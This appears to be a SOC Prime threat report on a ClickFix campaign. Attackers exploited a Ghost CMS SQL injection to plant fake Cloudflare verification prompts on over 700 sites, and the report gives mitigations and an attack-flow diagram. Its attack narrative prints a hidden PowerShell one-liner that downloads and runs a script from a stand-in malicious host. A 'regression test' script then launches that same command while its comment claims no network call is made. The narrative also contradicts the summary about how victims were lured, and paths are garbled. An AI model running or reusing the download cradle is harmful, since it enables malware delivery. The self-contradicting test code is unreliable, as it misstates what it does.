700+ education and tech websites hijacked in huge ClickFix malware campaign

SOC Prime Team

700+ education and tech websites hijacked in huge ClickFix malware campaign

Detection stack

AIDR
Alert
ETL
Query

Threat Report
Attack Flow
Detections
Simulations

Summary

Attackers exploited a critical SQL injection flaw in the Ghost content management system to compromise more than 700 education and technology websites. After obtaining administrative API keys, they injected malicious JavaScript that displayed a fake Cloudflare verification prompt. The fake page instructed visitors to copy and paste a Windows command that installed malware on their systems. The campaign depends on social engineering to trick users into launching the payload themselves.

Investigation

Researchers identified the issue as CVE-2026-26980, affecting Ghost versions 3.24.0 through 6.19.0. Successful exploitation enabled unauthenticated access to database content, including extraction of the admin API key. The attackers then used the stolen key to alter site content and embed malicious scripts that launched the ClickFix-style infection flow. The injected code presented a fake verification window that urged users to run a command through Windows Run or PowerShell.

Mitigation

Organizations should update Ghost to a version later than 6.19.0 that fixes CVE-2026-26980. Any exposed admin API keys should be rotated immediately, and API access should be tightly restricted. Defenders should also deploy endpoint protection with web filtering or browser protection and train users never to copy and execute commands from untrusted websites.

Response

Security teams should detect and block malicious JavaScript injections on Ghost-based websites and monitor for fake Cloudflare verification pages. On endpoints, defenders should look for unusual command execution attempts tied to this lure. If compromise is confirmed, remove the injected scripts, reset affected API keys, and perform forensic analysis on impacted client systems.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef operator fill:#ff9900 classDef malware fill:#ffcccc classDef tool fill:#cccccc %% Node Definitions action_sql_injection["Action – T1674 Input Injection: Exploit Ghost CMS SQL injection to read the database and obtain the Admin API key."] class action_sql_injection action action_content_injection["Action – T1659 Content Injection: Use the stolen API key to inject malicious JavaScript into site pages."] class action_content_injection action action_defacement["Action – T1491 Defacement: Deface the site with a fake Cloudflare verification dialog that displays a copyu2011paste command."] class action_defacement action action_user_copy_paste["Action – T1204.004 User Execution: Victim copies and runs the displayed command, satisfying the fake verification."] class action_user_copy_paste action action_powershell["Action – T1059.001 PowerShell: The command launches PowerShell which downloads and executes the secondu2011stage payload."] class action_powershell action malware_clickfix["Malware: ClickFix Purpose: Secondu2011stage payload delivered via PowerShell."] class malware_clickfix malware op_user_execution(("AND")) class op_user_execution operator %% Connections action_sql_injection –>|leads_to| action_content_injection action_content_injection –>|leads_to| action_defacement action_defacement –>|leads_to| action_user_copy_paste action_user_copy_paste –>|triggers| op_user_execution op_user_execution –>|executes| action_powershell action_powershell –>|downloads| malware_clickfix "

Attack Flow

Attack Narrative & Commands:
1. Social‑Engineering Lure: The victim receives a phishing email claiming that Cloudflare requires verification. The email includes a “Run” command:
```
Fake Cloudflare Verification Command
```
2. Victim Interaction: The user opens the Windows Run dialog (Win+R) and pastes the exact string Fake Cloudflare Verification Command.
3. Command Execution: The string maps to a hidden PowerShell one‑liner that downloads and executes a malicious payload:
```
powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"
```
  Because the Run dialog directly invokes powershell.exe with the above arguments, the CommandLine field recorded by Sysmon includes the literal phrase Fake Cloudflare Verification Command (the attacker prefixes the command with that phrase to trigger the rule).
4. Payload Activity: The downloaded script drops a web‑shell into C:ProgramDatacloudflare and contacts a C2 server, satisfying T1505.001.

Regression Test Script: The following PowerShell script reproduces the exact steps a red‑teamer would take to generate the detection‑triggering telemetry.

<#
Simulates the ClickFix “Fake Cloudflare Verification” execution.
Purpose: Verify that the Sigma rule fires on the exact command line.
#>

# Step 1: Prepare a dummy payload (simulated web‑shell) – no real network call.
$payloadPath = "$env:ProgramDatacloudflaredummy_shell.ps1"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
Set-Content -Path $payloadPath -Value "# Dummy web‑shell – no malicious code"

# Step 2: Construct the malicious command line that a victim would run.
$maliciousCmd = @"
Fake Cloudflare Verification Command
powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "`"IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))`""
"@

# Step 3: Simulate the Run dialog by launching the command via cmd.exe /c.
# This preserves the literal string in the process command line.
$fullCmd = "cmd.exe /c `"$maliciousCmd`""
Write-Host "`n[+] Executing simulated malicious command..."
Start-Process -FilePath "cmd.exe" -ArgumentList "/c `"$maliciousCmd`"" -WindowStyle Hidden -PassThru | Out-Null

# Step 4: Pause briefly to let Sysmon log the process creation.
Start-Sleep -Seconds 5

Write-Host "`n[+] Simulation complete. Verify SIEM for a detection event."
# Clean‑up will be done separately.

Cleanup Commands: Remove the dummy files and any lingering processes.

# Stop any lingering PowerShell processes started by the test (if still running)
Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
    Where-Object {$_.StartInfo.Arguments -match "Fake Cloudflare Verification Command"} |
    Stop-Process -Force

# Remove the dummy web‑shell folder
Remove-Item -Path "$env:ProgramDatacloudflare" -Recurse -Force -ErrorAction SilentlyContinue

Write-Host "[+] Cleanup completed."

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free